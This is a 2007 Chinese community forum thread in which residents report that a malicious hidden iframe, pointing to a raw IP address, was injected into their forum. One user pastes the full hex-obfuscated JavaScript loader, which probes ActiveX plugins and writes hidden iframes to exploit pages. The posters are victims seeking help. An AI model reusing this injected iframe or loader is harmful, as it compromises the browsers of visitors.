• 注册
  • 天通苑留言板 天通苑留言板 关注:3 内容:1082

    技术人员来一下,关于论坛恶意代码…

  • 查看作者
  • 打赏作者
  • 天通苑留言板
    • 9
    • 小区区长

      这是被随机插入的代码:<iframe src=http://59.34.198.73/jj.htm width=0 height=0> 能否临时禁用iframe代码???JJ.HTM 源文件技术人员来一下,关于论坛恶意代码…DDOS.HTM 源文件技术人员来一下,关于论坛恶意代码…

      天通苑长

      这是什么东西?整个周六日我的电脑都被一开这个生活网就关IE,然后就发现电脑不正常了,后来都不敢上生活网了。

      回复
      区治安员

      ddos.htm在哪个网页里有这个地址?

      回复
      小区区长

      以下是引用comet在2007-11-19 13:31:52的发言:
      ddos.htm在哪个网页里有这个地址?



      ddos.htm 是在 jj.htm 里通过iframe加载的
      回复
      区治安员

      恩,找到ddos.htm那个文件了.

      另外,那个在脚本语言的那个ip.js文件也打开了.不知道发出来对解决问题有没有用.






      eval("\x76\x61\x72\x20\x4C\x5F\x63\x7A\x63\x59\x5F\x31\x20\x3D\x20\x6E\x65\x77\x20\x77\x69\x6E\x64\x6F\x77\x5B\x22\x44\x61\x74\x65\x22\x5D\x28\x29\x0D\x0A\x4C\x5F\x63\x7A\x63\x59\x5F\x31\x5B\x22\x73\x65\x74\x54\x69\x6D\x65\x22\x5D\x28\x4C\x5F\x63\x7A\x63\x59\x5F\x31\x5B\x22\x67\x65\x74\x54\x69\x6D\x65\x22\x5D\x28\x29\x20\x2B\x20\x33\x2A\x36\x30\x2A\x36\x30\x2A\x31\x30\x30\x30\x29\x0D\x0A\x76\x61\x72\x20\x4A\x79\x32\x24\x32\x20\x3D\x20\x6E\x65\x77\x20\x77\x69\x6E\x64\x6F\x77\x5B\x22\x53\x74\x72\x69\x6E\x67\x22\x5D\x28\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x63\x6F\x6F\x6B\x69\x65\x22\x5D\x29\x0D\x0A\x76\x61\x72\x20\x73\x58\x24\x62\x68\x62\x47\x6B\x33\x20\x3D\x20\x22\x43\x6F\x6F\x6B\x69\x65\x31\x3D\x22\x0D\x0A\x76\x61\x72\x20\x7A\x65\x63\x4B\x5A\x5A\x34\x20\x3D\x20\x4A\x79\x32\x24\x32\x5B\x22\x69\x6E\x64\x65\x78\x4F\x66\x22\x5D\x28\x73\x58\x24\x62\x68\x62\x47\x6B\x33\x29\x0D\x0A\x69\x66\x20\x28\x7A\x65\x63\x4B\x5A\x5A\x34\x20\x3D\x3D\x20\x2D\x31\x29\x0D\x0A\x7B\x0D\x0A\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x63\x6F\x6F\x6B\x69\x65\x22\x5D\x20\x3D\x20\x22\x43\x6F\x6F\x6B\x69\x65\x31\x3D\x50\x4F\x50\x57\x49\x4E\x44\x4F\x53\x3B\x65\x78\x70\x69\x72\x65\x73\x3D\x22\x2B\x20\x4C\x5F\x63\x7A\x63\x59\x5F\x31\x5B\x22\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67\x22\x5D\x28\x29\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x30\x36\x30\x31\x34\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x54\x68\x75\x6E\x64\x65\x72\x53\x65\x72\x76\x65\x72\x2E\x77\x65\x62\x54\x68\x75\x6E\x64\x65\x72\x2E\x31\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x77\x65\x62\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x44\x50\x43\x6C\x69\x65\x6E\x74\x2E\x56\x6F\x64\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x78\x75\x6E\x6C\x65\x69\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x4D\x50\x53\x2E\x53\x74\x6F\x72\x6D\x50\x6C\x61\x79\x65\x72\x2E\x31\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x79\x79\x66\x62\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x50\x4F\x57\x45\x52\x50\x4C\x41\x59\x45\x52\x2E\x50\x6F\x77\x65\x72\x50\x6C\x61\x79\x65\x72\x43\x74\x72\x6C\x2E\x31\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x70\x70\x73\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x50\x64\x67\x32\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x63\x78\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x47\x4C\x43\x48\x41\x54\x2E\x47\x4C\x43\x68\x61\x74\x43\x74\x72\x6C\x2E\x31\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x6C\x7A\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x74\x72\x79\x7B\x69\x66\x28\x6E\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4F\x62\x6A\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2E\x54\x6F\x6F\x6C\x2E\x31\x22\x29\x29\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x62\x61\x69\x64\x75\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x7D\x63\x61\x74\x63\x68\x28\x65\x29\x7B\x7D\x0D\x0A\x77\x69\x6E\x64\x6F\x77\x5B\x22\x64\x6F\x63\x75\x6D\x65\x6E\x74\x22\x5D\x5B\x22\x77\x72\x69\x74\x65\x22\x5D\x28\x27\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x74\x79\x6C\x65\x3D\x64\x69\x73\x70\x6C\x61\x79\x3A\x6E\x6F\x6E\x65\x20\x73\x72\x63\x3D\x22\x6D\x73\x30\x37\x30\x33\x33\x2E\x68\x74\x6D\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x27\x29\x3B\x0D\x0A\x7D")

      回复
      居民元老

      技术正在想办法解决这个问题呢!

      回复
      小区区长

      现在还是有  [em11]

      回复
      居民元老

      是的,我知道,但这个问题解决不是很简单,我们尝试过了N种办法,没有效果 ,今天晚上去机房我们再尝试新的办法!

      回复
      居民元老

      {晕倒){晕倒){晕倒)

      回复
      居民元老

      {晕倒)

      回复

      请登录之后再进行评论

      登录
    • 任务
    • 发布
    • 帖子间隔 侧栏位置: